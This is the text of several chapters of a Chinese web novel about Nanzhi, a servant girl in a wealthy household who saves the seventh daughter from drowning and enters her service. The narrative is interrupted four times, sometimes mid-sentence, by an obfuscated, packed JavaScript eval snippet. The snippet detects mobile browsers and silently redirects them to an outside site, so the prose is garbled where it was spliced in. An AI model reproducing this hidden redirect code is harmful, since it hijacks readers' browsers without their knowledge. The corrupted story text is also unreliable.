“你怎么在这里，快跟我回去，九姑娘找你。”明月阁的一位丫鬟急匆匆跑来，手腕上的细金镯子叮叮当当响。 “云画姐姐，我这就去。”青儿应了，转头就见南枝拿了一杯水递给她，她愣了愣，接过后给了云画，并说，“云画姐姐，你喝口水缓缓。” 待云画小口喝着，青儿就扭头瞧了南枝一眼，南枝冲她笑了笑。 自己献殷勤算怎么回事？这样让青儿献殷勤才是好事。 两人走了之后，南枝又自个琢磨，明月阁左右是去不得，那不就只剩下青竹轩？ 要是再等个几年，未必就有这样的好机会。她往铜镜一瞧，柳叶眉不丰不薄的唇，美人面初露。这要是没个靠山，躲得了一次，往后哪个得宠的妈妈或者是小厮上门说亲，她还能逃得掉？ “青竹轩。”要真的没得选，也算一个去处。 且再看吧。 六月十八，明个就是李家老太爷生辰。 南枝听从五夫人的吩咐，到了正院，不消一刻钟，有个计数的妈妈说道：“夫人，都齐了。” 五夫人说，“那便走吧。” 七拐八拐穿过两个大院，到了大老爷的院里，这里乌泱泱站着一大堆人，皆是各院的丫鬟小厮妈妈老爹。人多，但都是分院子分地位站好，没有一丝错乱。 “明日就是老太爷的生辰，我可在这说几句，贵客登门，你们都得规规矩矩，要是有谁私底下做出不入流的事，那就别怪我心狠……都听明白了？”大夫人沉声警告，“点到谁的名字就出来。” 过后，就有一个娘子拿着册子点名，都是几个几个一起点，随后安排差事。 “……小翠、南枝、丁香、立夏，你们十八个分成三组，负责给女宾上果子点心。” 领了差事，又听一顿教训，这才散了。 都是不过十岁左右的姐儿，围在一起叽叽喳喳聊了一路，等到了准备分别时，叫立夏的丫头就说，“咱们归妈妈管，那要不要选个小管事出来，有事也好抓主意。” 拢共也就一天，还需要搞个小管事？ 众人你看我我看你，与她不对付的丁香就反驳，“又不是夫人的命令，也不是妈妈开口，我可不听。都是一样干活，凭甚就要低一头，哼。”说罢，率先回了家。 “我娘有事找我。” 各自找借口，南枝混在她们其中，不显眼地回家。 立夏的心思倒是一眼看得出来，想跟她爹一样，做管事过个瘾呗，可惜大家都不买账。 到家后，不消几时，王娘子也回来了，她身上有酒气，南枝就说她，“喝了？明日你可要伺候老夫人见客，小心着被骂。” “冤枉，我没喝，是秋妈妈喝了，她瘾大，明个不是甚重要差事，就小口抿了一些。”王娘子解释，见南枝还是不赞同的神色，便打趣她，“你比你姐夫还要大面子，管着我不放。” “对你好才管你，要不然我可不多说。”南枝撅嘴说，也就是在姐姐跟前她才有些活泼，出了外头，是一副慢人一拍的呆模样，没生气。 “我知晓。”王娘子捏她鼻子，又说，“你在我这儿是首要重要，你姐夫都比不着，你就说吧，我听的。” 两姐妹相依为命，定是最亲近的。 “早些歇息，我吹蜡了。”南枝把小几上成色还算好的蜡烛吹灭。 翌日，天不亮，各处就响起敲击铜盆的声音，南枝与王娘子同时起身，一个洗漱一个梳头，如此轮流，极快的就出门了。 王娘子先行一步，南枝则是同其他姐儿一道走，等她们十八个都在三道门旁边的二层小楼到齐，负责指使她们的刘妈妈就开始分活。 “轮着来，一组分配好点心瓜果，一组捧出去，隔了半个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15270891|166622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时辰就相互调换，听明白了？”刘妈妈此法还算公正，就连立夏都觉着好，她还暗自记着。 与李府亲近的女宾们不出一个时辰就登门，南枝拿着托盘，按照规矩，低头直腰，脚步稳健，不可碰撞到客人，上了之后又要弯腰退出花厅。 忙到日上三竿，肚里空空，等前头传了席面，南枝等人才得了休息的空。今儿下人们的饭食是几个院儿的小厨房的厨子厨娘做的，因着用料扎实，菜色倒是比以往大厨房做的要好。黄瓜焖鸡肉，茄子豆角肉沫，蒸鸡蛋，每人一个大寿包，可谓丰富至极。 南枝与青儿一道在桌边吃着，俱都安静，只是默默地听着长桌上的婆子妈妈们聊。 待吃完了饭，便又要回去收拾茶盏碟子。 匆匆忙碌了一日，直到晚上刘妈妈说她们能家去了，紧绷着的气氛才逐渐松缓下来。 “南枝，等等我，我也回去。”青儿说，她挽着南枝的手臂，俩人就随着人群回了下人院。 “我姐姐今晚不回来，你要不来我家？咱俩一起睡。”南枝有事儿想要问青儿，她们今日的活计一样，都是端茶捧点心，不过青儿因着之前在明月阁当差，所以她被安排去了老夫人房里听差，比起她，倒要轻省很多。 她主要是想问问几位公子姑娘的事，特别是七姑娘。她姐虽然在福寿堂，但在大喜的日子，老夫人特意吩咐她在佛堂为老太爷诵经祈福，平日里也大多呆在佛堂，故而对于公子姑娘们，了解不多。 “成，瞧我拿着的点心，红枣马蹄山药糕，青文姐姐给我的。”青儿摇了摇手里的油纸包，又与南枝咬耳朵，“我只分给你，不给旁人。”拿回家也不行，一个两个只抢，吃不上还要哭，她看着心烦。 家来，却也不急，南枝灌水烧火，又去洗了两个杯子，从柜子里拿出一个封存密实的瓦罐子。一打开，甜腻的香味扑鼻，再舀两勺出来，一一冲开，便是甜滋滋的蜂蜜水。 恰好青儿也把糕点装在碟子里，“这回可有口福了，夜里做梦都是甜的。” 晚上也包饭，有两道大菜，她们吃得油腻腻，正好清清肠。 两个小人在炕上，面对面坐着，小口小口抿着山药糕和蜂蜜水，南枝还没问什么，青儿就率先提到了在老夫人房里瞧见的场面，“……多少夫人姑娘，个个贵气得不行，我没敢抬头看，只看见她们左手戴金镯子右手戴玉戒指，腰上环着的玉佩也透亮得不行。还有绣花鞋，鞋面是真真好看，花样说是从京城传来的，时兴。” 南枝就那般听着，时不时出声，像甚么“真的？”“想不出来”，诸如此类，十足的捧哏。 “那都是外头的夫人们阔气么？咱们的姑娘们咋样，小姑奶奶还有表姑娘也回来了，是不？”南枝问，虽三个女儿都是庶出，不过这个小姑奶奶是自小养在老夫人膝下，记没记名倒是不清楚。 去年，小姑奶奶也回来了。 “诶，说起咱们的姑娘们，这倒是有件事，老夫人当场变了脸色。”青儿一口把山药糕吞下，也不嫌噎得慌，灌了两口蜂蜜水后就开始讲八卦。 5. 七姑娘落水 “小姑奶奶这回带了两个表姑娘，第二个比你还小，六岁，与九姑娘差不离。见了九姑娘喊表姐，随后程妈妈提醒她，还有一位表姐，她叫了，只是之后又说了一句，‘大表姐一点也不像二表姐那般好看’，老夫人当场怒了，说小姑奶奶教子不严，教她没有任何规矩。所幸当时还没有客人哩，不然就要在宾客面前丢脸了。”说罢这个，青儿又回忆，“七姑娘今日打扮得很素净，不及九姑娘红裙，上头的花朵儿都绣得跟真的一样。乍一瞧，倒真不像两姊妹。” “给老太爷过生这样的大事，夫人不是给各位姑娘都裁了新衣裳么？”早在半个月前就听见了这样的消息，南枝出门买东西，偶尔也能瞧见外头来的绣娘在小门进出。 “当时夫人也是这般问七姑娘，但七姑娘只低头，半天说不出一句话，后头夫人又问她，‘是不是更喜欢自个的衣裳’，她没出声，点头。” 南枝不由得叹了一口气，这样的行事做派，不讨人喜欢就算小事，更重要的是，给人一种“不敬母亲”“自作主张”的印象，七姑娘，原以为只是柔弱了点，没成想貌似是自己立不起来。 “老夫人后面就跟七姑娘说，让她以后要听夫人的话，还有回去抄写经文。”青儿说罢，问南枝，“你姐姐有没有给你疏通了路？可想好了去哪里当差？” 就连青儿都以为，南枝会跟她姐姐一样，进老夫人的院子，那地位可就不同了。 “没准往后我还要叫你南枝姐姐。”青儿打趣，眼里纯粹，丝毫没有算计。 “没呢。”好友说了恁些消息给她，南枝也不是个冷血的人，故而也透露了关于自个的事儿，“我姐姐虽然伺候老夫人，但不是近身服侍，在老夫人面前只能算有个眼熟，却算不得得脸，要给我谋个差事，不容易。” 好的位子人人都盯着，你使银钱旁人就使关系，谁没个爹娘哥姐，再不济，还能认干亲。 “也是，那且再看，说不得夫人会直接把你指给哪个姑娘呢。”青儿安慰，“到时候就不怕有人打你主意。” 甚么脏兮兮的人，也敢来沾染她的南枝！ “是咧。”南枝笑着应和，只是笑意不达眼底，内心总有一股忧虑。 过了六月初九，南枝忽的又闲下来了，她有了更多的空闲，除了去花房帮何娘子，还会出府去买用品。她好吃，甚么肉饼先来两个，买完针线布料回来，再吃上一碗热气腾腾的鲜虾云吞，虾子都是早上刚捞回来剥壳包的，新鲜有嚼劲。 临回去了，除了买些鸡蛋蜂蜜，遇见卖柴火的老翁，跟他说了地点，他便送过去，之后再结钱。 因着一连几日在大厨房吃，油腻，今日出门南枝特意买了鲜甜的梨子，这是卖鸡蛋的婆子上山摘的小梨子，个头不大，但是胜在清甜。 到了李府小门，卖柴的老翁已经等着了，南枝赶紧上去，接过柴火，给了银钱。 守门口的周老爹又笑着问她，“哟，又买了这么多柴火，用的过来吗？” “姐姐们托我一齐买的。”南枝不跟他多说，家去收拾。 柴火堆好，她每日烧水，用的多，至于梨子，她从背篓里拿了十几个出来，用小篮子装好，提着就往老夫人住的福寿堂去。 福寿堂依山傍水，绕过假山穿过游河之后，便到了。 门口有两个年纪不大的姐儿守着，南枝凑过去，一人给了一个梨子，笑着低声问道：“两位姐姐，可以帮我叫一下南溪吗？” 其中一个约莫认得她，也笑了笑，“你是南溪的妹妹？在这等着，我且去去就来。” “谢谢姐姐。”南枝就明白了，这位跟她姐应当关系还成。 不多时，她姐就出来了，还拿着东西，南枝与她到角落说小话，“姐，这是我买的梨子，有多的，你可以分给其他人。” “挺香的。”王娘子拿了一个闻着，又把手上拿着的布料递给南枝，“这是老夫人赏我的半匹花罗，我已经跟何娘子说好了，让她给你做一身夏季的衣服，花罗漂亮透气，穿着可舒服了。” 花罗昂贵，一匹值几十两。 “姐，我不——” “拿着，快些回去，听话。”王娘子知道妹妹想说什么，打断之后又推着她往花房那边去，“好好跟着何娘子，也算机会。” 南枝怕连累她挨骂，只得走了。 院门口，春杏与立夏两个在咬耳朵，见了南枝，俱都羡慕地凑上来，南枝寻了一个借口，没跟她们多缠。 “哼，神气什么，当谁没这个福似的，不过是好料子，谁没有？”立夏咬着牙，心想等自个进了扶风院，往后再伺候五公子，成了姨娘，穿金戴银，指使南枝。 春杏向来巴结立夏，点点头踩低南枝，“是哩，她哪里比得上你，整天沉着一张脸，也不与咱们玩，当真是清高。” 再有个五六天就选丫鬟了，届时就有了去处，照她看，南枝这样的德行，当个烧火丫头也勉强。 正说着，“哗啦”一声，一盆水泼到她们跟前，立夏吓了一大跳，瞪着眼看过去，发现是青儿，气得不行，“你做甚拿水泼我们。” “没瞧见。”青儿斜着眼看，转身关门。 * 南枝跟着何娘子学了不少的种花栽花本领，何娘子原本是看在王娘子的份上才带着她，但教了她这么一些时日，倒是真心有些喜欢她了，她学东西认真，又不叫苦，关键是有眼色，不该问的绝对不会问。 何娘子满意地对着挖土的南枝说道：“先别干这个，搭把手，把花儿搬去花园移栽。” 倒也不麻烦，只把已经枯死的几丛替换即可，干了两刻钟，有人寻何娘子，她便留下南枝一个人收尾。 南枝干活细致，待做完了，就瞧见九姑娘正往这边来，她赶忙行礼，九姑娘不带正眼瞧她，独自往鲤鱼池去了。 又去喂鱼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15270892|166622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？ 等等，她一个人，到底是去鲤鱼池，还是去那边的青竹轩？ 想了想接下来没事做，南枝便跟了上去，还没到鲤鱼池，就听见了很大的响声，她快速跑几步，瞧见有人在鲤鱼池里扑腾，看着已经开始无力。九姑娘站在池子旁边，一副吓到了的模样。 南枝有了猜测，快速解下外衫，揣着自个的心思跳了下去，待把水里的人救上来后，远处就跑来了一群人，胡乱地喊着“七姑娘”，果然同她猜的那样，落水的是七姑娘！ 因着救了七姑娘，南枝在青竹轩的东厢房换了衣裳又歇着，还有大夫给她把脉，“无甚大碍，不过要多喝姜汤，要实在不放心，老夫可以开一剂药。” “那就谢谢您了。”南枝说，她当然是要开药，没病也要装三分，不然岂不是显得太过轻易？ * 青竹轩正屋，面色苍白身量纤细的人躺在床上，正有贴身丫鬟茯苓给她灌药，却怎么也灌不进去，乌黑的汤药顺着嘴唇流出来，看得人着急，上了年纪的银发老夫人杵着鹿头拐杖，狠狠往地上砸了三下，训斥道：“做事毛毛躁躁，一点也不机灵，平日里到底有没有伺候姑娘？” “回，回老，老夫人……”茯苓急得都要哭了，手愈发拿不稳碗，头上的莲花银簪子一直抖。被三两下扯开后，她听见老夫人残忍地宣布，“把她从小七身边挪开，换个新的来伺候。” “贴身服侍七姑娘的丫鬟都在哪里？快上来给七姑娘擦汗喂药。”微胖的夫人顺着老夫人的话说，又去安抚老夫人，“母亲您别急，小七一看就是有福气的孩子，定不会有事。” “哼。”老夫人瞥了她一眼，“论礼法，你是小七的母亲，论血脉，你是她的姨母，你可别偏坦九姑娘。” 七姑娘落水时两位姑娘都没有丫鬟在身边，可前有婆子瞧见九姑娘怒气冲冲前往青竹轩，后有丫鬟看着七姑娘被救上来。再加上，有丫鬟证实九姑娘失魂一般，要是她没做亏心事，何至于害怕？前前后后都证明了，九姑娘推了七姑娘落水，千真万确是抵赖不得。 除此之外，七姑娘虽然是嫡女，到底没了亲母照拂，所以九姑娘才敢欺负姐姐，此事处理不好，其他几房怎么看老五这房？ “小七受累受苦，等她醒了，要好生安抚，我那儿有一根人参，已经叫人去开库房拿了。”大夫人耳坠轻微动摇，看着心平气和，只是内里却恨极了五夫人，教得女儿不成个样子，惹出这等事儿。 她的三女儿正在议亲，天下没有不透风的墙，要是被他人知晓李家女儿做出残害姊妹的事，岂不是坏她好事？ 正是气氛冷凝之时，床上的七姑娘发出一声嘤咛，缓缓睁开眼，待听见身旁的人喊“七姑娘醒了”“老夫人，七姑娘睁眼了”时，她却明显愣了，目光惊疑不定，又忽然偏头看围过来的众人，不知想到什么，笑了。 叫人以为她被水泡了一回，得了疯病。 6. 进青竹轩当差 一众主子没有召见南枝，倒是老夫人以及五夫人身边的管事妈妈见了她，后面再有七姑娘身边的吴妈妈来了，只不过面色很勉强，“你且回去修养几日，要是过后姑娘身子骨好些了，会传你的。” 待回到院子，天已然黑透了。 几个婆子，江婶子许娘子，并几个姐儿皆打量她身后跟着的几个丫鬟，眼光羡慕地在光鲜亮丽的布匹、珠钗上来回扫视。 “辛苦姐姐们了，留下喝杯茶吃碟点心再走。”南枝把人领进屋子，打算烧炉子，打头的那个丫鬟叫翠平，是那日她搬花去青竹轩正屋，给她开门的那个。 与上回冷着脸不同，这次她面带笑意，连声说道：“不用不用，你还累着，躺下睡一觉吧。我们几个还要回去复命，这就走了。” “诶，姐姐们拿上这梨子，劳烦姐姐们跑一趟。”南枝向来不喜得罪人，面上功夫做好，也就不怕小鬼在背地里使阴招。 青竹轩的婢女们走了不久，南枝在家门口远远地就瞧见她姐跑回来，甚至连裙摆都忘了提，着急忙慌地往这边冲，她招手，“姐，你慢点。” 王娘子攥住她的手，力道之大，仿佛要把她的手骨捏碎，她上上下下地查看妹妹，生怕她有事，一副惊魂的模样。 在门口还能忍着，进了门，王娘子脸上顿时流下两行清泪，“我在抄写着佛经，乍然听闻你跳进水里救了七姑娘，你可知我多担心你？好在你没事，不然我怎么活，我怎么对得住爹娘？” 南枝被她姐姐一把子抱住，往常要强掐尖的人这会儿只剩下了哭，她用手轻轻拍着王娘子的背，察觉到她浑身颤抖，就干涩地出声安抚，“姐姐，没事的，你忘了，我会浮水。” “忘不了忘不了。”王娘子依旧在哽咽，可南枝却明白，她姐姐不止想到了她，更是想到了死去的爹娘。 五年前，她爹娘随五老爷五夫人回去杭州探亲，走水路遇见了水匪，她爹为了保护五老爷被刺死了，她娘则是受了重伤，回到李家将养了两年，找她差不多六岁的时候也去世了。 娘一死，五夫人当时只把姐姐安排进福寿堂当差，算是有个前程，至于她，那是不管的。而在外人眼里有了一个好差事的姐姐就成了香饽饽，从前因为重病的娘而倍受歧视不待见，那时却变成很多哥儿求娶的目标。 好在姐姐有主张，与一直以来帮扶她们家的林安成亲了，他是外头买进来的，父母亲族无可追查。 “对不起姐姐，我只是想着，有运气谋个靠山，你就不用为我操心，又明里暗里替我挡了那么多算计。”南枝坦言道，今日看九姑娘那不寻常的样子，她跟上去也是想瞧瞧机会是否临门。 没有想到七姑娘落水，事情紧急，而她虽然喜好算计，可到底还有良善，又有自个的猜测，便跳下去见义勇为。 两姊妹靠在一起哭了一场，王娘子又重拾坚韧，与南枝把今儿的事好好理了一遍，“老夫人把我喊了过去，问了我关于你的一些事，又透出，老太爷生辰那日，七姑娘被老夫人批评了，回去后就郁郁寡欢，正是因着身子不爽，才没要丫鬟服侍，一个人去了鲤鱼池。后面便是个意外，九姑娘忽然出声见礼，惊扰了七姑娘，她脚下一滑，这才摔了。不过真假……你明白的。你这回一出头，陈妈妈一家子就不敢在明面上对你怎么样了，只不过还得再看，如果七姑娘过后没有对你有甚表示，那就把你架在那儿了。” “七姑娘。”南枝静默，以她对七姑娘的了解，只怕七姑娘想见她一面都会被劝停。此事被定性为“意外”，七姑娘只怕更加难熬了，又如何提起精神见她呢？ “暂时解了困境也就是了，至于以后，再看五日后。” “也行，实在不行，我豁出去，在老夫人面前提你，瞧瞧你能不能来福寿堂。”王娘子说，她有没有前途不要紧，关键是妹妹不能稀里糊涂被人定了亲。 但入福寿堂也算不得好，老夫人日渐衰老，年前更是病了好一回，瞧着没几年好活。南枝正是年少，要是老夫人去了，她顶多十五六，上边又有那么多姐姐压着，再找差事又能找着什么好的？ * “南枝在不在？南枝？” 刚过早饭时候，就有人来寻。 王娘子昨夜也在这儿睡的，知道妹妹习惯，早起烧了水，又开门把青竹轩的丫鬟迎进来。 “南枝，七姑娘想见你，你快随我去。”小丫头急急说了，连茶水都不喝，带着南枝就往青竹轩去。 一进青竹轩，几个丫鬟跪在石子路上，打眼一看，茯苓也在，且已经唇色苍白摇摇欲坠。从这当中，南枝隐隐察觉似乎有什么变得不一样了。 守门帘的丫鬟低眉，丝毫不敢高看，昨儿才见过一回的吴妈妈此刻也守在左边，见了她来，也只冷着声音说道：“等我通报给七姑娘。” 片刻后，她出来，垂手站在一旁，说道：“进去吧。”偏生她占了一个位置，右边的丫鬟只能独自撩门帘，所幸南枝也不介意她的举动。 这种行为，与其说给她脸色瞧，倒不如说打七姑娘的脸。 进了内里，南枝垂眼，看见美人榻前摆着一对绣花鞋，便行礼说道：“奴婢南枝见过七姑娘，给七姑娘请安。” 室内没有燃香，只有果子的清香，南枝维持着行礼的举动，一动不动，任由上方的人打量她。内心有些意外，今日的七姑娘给她的感觉倒不像之前，似乎更有威严了，比之南枝见过的五夫人都要有气度。 威严？变化？ 南枝内心揣度，人能一夜之间拥有之前不具有的气质吗？ 七姑娘是藏拙，还是跟她一样？ “你就是南枝？”昨个呛了不少的水，七姑娘嗓音带着浓重的沙哑，她边问边漫不经心地颔首，规矩倒是不错，小小年纪，人也稳重，跟宫里调教过的宫女也差不离了。 “回七姑娘，正是。” “自个去搬个凳子，到我跟前坐。”七姑娘靠在迎春花软枕上，打了一个哈欠。 南枝上次已经记下正屋的布局，不用四处张望就马上照做，挨着半边坐下，耳边就传来七姑娘的询问，“你昨天不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15270893|166622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是在花园移栽花吗，怎么就到了鲤鱼池去了？” 这是怀疑她居心不良？南枝早有预料，“奴婢干完活，一手的脏泥巴，要是去花房的路上碰见主子有事交代我，害怕耽误活计，故而想去鲤鱼池洗干净手再回花房。”说到最后，她声音甚至有些颤抖，还连忙给自己辩解，“七姑娘明鉴，奴婢不是故意躲懒。” 七姑娘瞧着脸上略带惊慌的小丫头，心里的疑虑打消不少，毕竟上辈子也是南枝救了她，可惜她那时愚笨懦弱，也没有把她调到身边，以至于后来入宫，无选择，眼盲心瞎地带了一个祸害去。 只是以现在的她来看，觉着南枝出现的时机过于巧合了，但——兴许是上天认为她命不该死，罢了，左右确定了她是个底子善良的就好。 “你如今在哪里当差？” “回七姑娘的话，奴婢尚在家中，还没有当差。” “哦？有想去的地吗？”七姑娘饶有兴趣地问，前世南枝去哪当差她倒是不知晓，不过不论去哪，这辈子只能是她的人。 “奴婢听从吩咐，不敢擅自做主。”南枝表了忠心，说明自己不是那等钻营小动作不断的人。 “如此，甚好。”榻上的病美人摘下头上的玫瑰大金簪子，“你既救了我，那就是有功，不若来青竹轩，给我料理茶水间的事宜，如何？” 茶水间？那就是二等丫鬟了。南枝心想，不论七姑娘是何情况，都不失为一条出路。 “能伺候七姑娘，是奴婢的福气，谢七姑娘恩赏。”光有赤诚之心还不够，得适时机灵，这样才显得可用。 七姑娘果然满意，招手让南枝上前，随后把金簪子递给她，“往后进了青竹轩，不要再梳这种双丫髻，我会让人教你其他的，你用那种发型，头上戴些发饰。” “是。”南枝乖巧应了，手里的金簪子沉甸甸，一时间，她不得不感慨，不怪人人都想出头，这好处当真是肉眼可见。 “明日你就来，我会与母亲说此事。”七姑娘说，她端起茶盏，遮住了微眯的双眼，姨母，也总该会一会了。 “诶。”听出了她的意思，南枝起身告退，“姑娘小心身子，奴婢出去了。” 从正屋出来，吴妈妈已经不见了，跪着的丫鬟昏了一个，也没有人理。 翠平有心提点她，提了一嘴，“夫人下令罚，说她们照顾姑娘不周，原本打算打一顿撵回家去，但后面是姑娘给她们求情了，除了行事过分的两个，其余的跪两个时辰，以后照旧当差。” 短短一句话中，南枝似乎就嗅到了刀光剑影的味道。要是七姑娘任由夫人罚婢女们，那七姑娘可就尽失人心，可她求情了，保住了她们的差事，结果就截然不同，这些婢女们也会念着七姑娘的好。 “谢谢翠平姐姐送我，你快些回去，仔细姑娘离不得你。”南枝说。 好话人人爱听，翠平便点头，“欸，那你自个回吧。” 到拐角处，南枝忽然回头看，竹林依旧茂盛，风吹过，竹子撞在一起，迸发出生机。 “青竹轩。” 7. 进院 五夫人的正院摆满了颜色不一的花儿，有芍药、牡丹、缸莲、八仙花等等，花儿照料得很细致，随风轻轻动着。 “夫人，七姑娘来向您请安了。”有丫鬟进来汇报，陈妈妈正替五夫人梳头描眉，闻言，不由得说道：“真是稀奇，今儿不是初一十五，七姑娘怎的来了。而且她不是还在病中，还有精力下床走动？” 身为夫人身边的红人，她也知道不少青竹轩的情况，七姑娘长时间无人照拂，养成了一副胆小懦弱的性子，来给夫人请安，都是夫人问她答，半天也讲不上一句，像个闷葫芦，没意思至极。 瞧她长相，要是能大大方方些，定是个美人，可惜了。 这些话也就在心里想一想，陈妈妈不敢当面说，毕竟夫人的手段…… “让她进来。”五夫人眸光一闪，显然也在细思七姑娘为了何事来？难不成是想讨个公道？真相重要么，就连老夫人也只是给青竹轩流水似的送补品，也算揭过此事。 终究是要维护李家所有女眷的声誉。 “见过母亲，母亲安。”一身红衣的姑娘缓缓行礼，五夫人神情愣了愣，也觉出了她的不同，这举手投足间流露出来的从容安定之气，倒是从未有过。 “起来吧，上茶。”五夫人抬手，七姑娘坐在椅子上，她一张脸还是素白，唇瓣有了一丝血色，如雪中一点红，教她的容色有了淡淡的鲜艳。跟她死去的姐姐一样，徒有张芙蓉面，实则不过一个草包，五夫人恨屋及屋，嘴上却关心道：“你身子还没好全，也不必急于一时来正院，顾及自个才是最重要，不然我也不安心。” 惯会装模作样，这番话传出去，旁人又会如何贬低她？七姑娘用帕子遮了遮嘴角，解释道：“我原是想着，亲来一趟告知母亲我无事，也好让母亲不必日夜挂念，毕竟下人们传话，总是有失偏颇。再者，我也想亲问母亲，九妹妹有没有吓坏了？” “见你落水，她急坏了，后头又瞧见了你没生气的模样，惊到了。如今正在明月阁养病，没个三五月都好不了。你们两个都病了，我这颗心，总是揪起来，夜里睡不好。”五夫人叹息，她保养得宜，看着才二十出头，又做出低眉哀伤的样子，不知内情的，恐怕真以为她是慈善的人。 “九妹妹向来活泼，不成想大病一场，母亲放心，女儿等下便去福寿堂那里请示祖母，教九妹妹在明月阁养个一年半载再出门，届时，也大了，不容易受惊。”七姑娘没讲被推下去的事，反而全心全意为妹妹着想，只是她话音刚落，就见五夫人脸色僵硬了一瞬。 她那样说只是替女儿遮掩，可不是真让她养病，要是真照七姑娘说的关个一年半载，这跟禁足有什么区别？只怕女儿就要闹了。 “倒也不必，你将将下床，不宜过多走动，何况你祖母正吃斋念佛，需要清净。我知道你关心姊妹，只她一向顽劣，不用你费心思，我管着就好。”五夫人到底心疼女儿，加之属实没有预料到七姑娘恍若变了一个人，伶牙俐齿，便退了一步，不与她谈论这个，而是问她，“今日见你，比往日有不同，可见是长大了。” “经历了这一回，女儿想明白了很多事，心胸开阔了，自然不一样。”七姑娘说，没道理差点死了，还像从前那般唯唯诺诺，那不等着死第二回？ “嗯，你能这样想就很好。”五夫人点头，真是变了，还是从前一直扮猪吃老虎呢？ 她有这样的心计？ “劳母亲惦念，我这落水扰得祖父祖母、父亲母亲担忧，实在是我的不是，这十八子手串是女儿串了许久的，如今奉给母亲，流云。”七姑娘唤丫鬟，流云就捧着锦盒上前，陈妈妈接过了锦盒，递给五夫人。 “你能有孝心，这很不错，陈妈妈，去把库房里的琉璃手钏拿来，给七姑娘。”望着锦盒里的十八子，五夫人眼底憎恶，抬头时，又柔和着声音说道：“快些回去歇着，别再费心神，你底子虚弱，不宜做这些。” 这已经是赶人了，七姑娘好似没有听明白，继续说道：“是，只是还有一事，不得不跟母亲说。” “什么？” “救了女儿的丫鬟南枝，一片忠心赤诚，女儿要把她调入青竹轩，在茶水间听差。”这话不是请示，也不是商量，而是告知事实。 “她啊。”五夫人没见过这个丫鬟，但已经开始不喜了，“我听陈妈妈说，她才八岁，如何能伺候好你？不如先让她从扫洒做起，慢慢来，之后再给她调，如何？” “母亲，从小伺候我到大的丫鬟也不是个个都手脚麻利，单纯以年龄论，未免不妥。”七姑娘说，“况且祖母亦觉得她好，女儿不能敷衍她的意思。” 搬出老夫人压她，五夫人又不想为了鸡毛蒜皮的事闹到老夫人那里，扯着嘴角同意了，待七姑娘走后，她才攥紧了帕子，厌恶地扫了锦盒一眼，冷声吩咐道：“丢到箱底去，不要再让我看见。” “是。”陈妈妈把东西给了小丫鬟，又赶忙安抚，“夫人不必生气，甭管七姑娘再如何变，她是子您是母，也是翻不出您的五指山，夫人喝口茶去去火。” “我何尝不知道，但她并非我亲女，我要是待她薄了，众人都看着呢，要是对她好，我这心又火烧火燎地疼。”所以就只能样样给好的，但关心呵护一样没有，当她不存在，她才好受一些。 “养了她几年，原不出彩，现在反倒露出利爪了？从前被姐姐压一头，如今她的女儿别想压我的贞儿。”五夫人冷笑连连，俨然已经入魔般没有理智。 陈妈妈摇摇头，夫人与先夫人之间间隙不小，虽是同父同母的姊妹，可先夫人貌美多才多艺，而作为妹妹的夫人却从小样貌平平，并且身量容易发胖，只能下苦功夫去维持，少了讨父母欢心的时间，疼宠自然比不上姐姐。 后面又嫁过来，成了姐夫的填房，对先夫人的恨意愈发深。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15270894|166622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 也是造孽，夫人的母亲害怕嫁个庶女过来照顾不了七姑娘，所以就选了夫人，哪知…… 可惜了，南枝进了青竹轩，她也就不能让她嫁给小儿子，免得让夫人不悦。 * “这些也要带上，还有这个药油，你当差伤着了，也不用问旁人借。”王娘子絮絮叨叨，她不让南枝动手收拾衣物，而是亲力亲为，生怕漏了甚。 “姐姐，不用我当差的时候，我也是会回来这儿睡的，不用带那么多。”南枝坐在炕上晃着腿，表情松了下来，终于解决了一件大事！ “不成，你去青竹轩是二等丫鬟，咋能随便带东西去？旁人会瞧不起你的，听我的，我之前给你买的胭脂呢？怎么找不到了？” “梳妆台第三个夹层的左边。”南枝说。 “在这儿。”王娘子把胭脂放进包袱里，又交代道：“你去当差，千万不要白着嘴唇，要是主子看见，说不定不喜欢，轻轻涂一层。” “知道啦。” 